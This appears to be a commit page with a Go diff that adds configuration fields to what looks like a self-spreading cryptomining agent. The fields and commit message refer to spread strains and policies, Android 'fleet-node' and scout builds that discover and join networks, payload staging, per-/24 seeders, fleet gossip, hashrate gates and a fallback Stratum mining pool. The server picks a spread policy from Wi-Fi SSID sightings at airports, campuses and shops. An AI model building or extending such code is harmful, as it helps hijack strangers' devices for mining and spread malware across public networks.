Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
@@ -124,6 +124,11 @@ type BuiltinConfig struct {
|
||||
SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty
|
||||
BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown
|
||||
|
||||
// Genealogy graft — court-approved strain splice (telemetry; applied on next spread).
|
||||
GraftSourceStrain string
|
||||
GraftTier string
|
||||
GraftApprovedAt string
|
||||
|
||||
// ApkMode marks Android fleet-node builds; registration reports platform=android.
|
||||
ApkMode bool
|
||||
// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
|
||||
@@ -142,6 +147,10 @@ type BuiltinConfig struct {
|
||||
HashrateGateHPS float64
|
||||
// ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy).
|
||||
ErasureLanesEnabled bool
|
||||
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
|
||||
FleetTorrentEnabled bool
|
||||
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
|
||||
SubnetPrimarySeeder bool
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
|
||||
Reference in New Issue
Block a user